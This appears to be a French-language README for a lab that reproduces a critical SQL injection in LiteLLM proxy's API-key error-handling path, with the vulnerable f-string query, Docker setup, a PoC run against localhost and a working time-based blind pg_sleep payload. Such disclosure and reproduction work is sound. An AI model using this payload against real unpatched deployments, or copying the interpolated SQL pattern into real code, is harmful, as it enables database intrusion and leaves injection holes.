
Environnement de reproduction pour une injection SQL critique dans l'authentification par clé API du proxy LiteLLM, avec un PoC aveugle basé sur le temps et une configuration Docker pour les tests.
| Élément | Détail |
|---|
| Avis de sécurité | GHSA-r75f-5x8p-qvmc |
| Type | Injection SQL (CWE-89) |
| Sévérité | Critique |
| Versions concernées | litellm >=1.81.16, <1.83.7 |
| Version corrigée | litellm >=1.83.7 (commit 4dc416ee74) |
L'injection se produit dans le chemin du callback de gestion d'erreur, et non dans le flux d'authentification principal. Lorsqu'un jeton sans le préfixe sk- est envoyé, l'assertion échoue et le jeton brut (non haché) transite par la chaîne de callbacks d'échec jusqu'à une requête SQL qui utilise l'interpolation de f-string :
Requête HTTP : Authorization: Bearer <payload>
→ assert api_key.startswith("sk-") échoue
→ _handle_authentication_error(api_key=JETON_BRUT)
→ post_call_failure_hook
→ _enrich_failure_metadata_with_key_info
→ get_key_object(hashed_token=JETON_BRUT)
→ get_data(token=JETON_BRUT, table_name="combined_view")
→ SQL : WHERE v.token = '{JETON_BRUT}' ← INJECTION
Le chemin d'authentification principal sk- n'est pas exploitable car les jetons sont hachés en SHA256 avant d'atteindre la requête, produisant uniquement des caractères [0-9a-f].
docker compose up -d
Cela démarre le proxy LiteLLM (v1.83.3-stable) avec un backend PostgreSQL.
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5
╔═══════════════════════════════════════════════════════════╗
║ LiteLLM Proxy SQL Injection PoC ║
║ GHSA-r75f-5x8p-qvmc | CVE: Pending ║
║ Affected: litellm >=1.81.16, <1.83.7 ║
║ Attack: time-based blind via error-handling callback ║
╚═══════════════════════════════════════════════════════════╝
[*] Checking target: http://localhost:4000
[+] Target alive (status 200)
[*] Measuring baseline (3 requests)...
Baseline avg: 0.022s
[*] Control: non-sk- token without pg_sleep...
Control: 0.024s
=======================================================
Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
Response: 5.018s
[+] VULNERABLE! pg_sleep(5) confirmed


La fonction pg_sleep() de PostgreSQL renvoie void, qui ne peut pas apparaître dans un contexte booléen (OR). La charge utile l'enveloppe dans une sous-requête pour éviter l'erreur de type :
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--
Elle est injectée dans la requête combined_view dans litellm/proxy/utils.py :
# Code vulnérable (<=v1.83.3)
sql_query = f"""
SELECT v.*, t.spend AS team_spend, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN ...
WHERE v.token = '{token}' ← interpolation f-string de l'entrée utilisateur
"""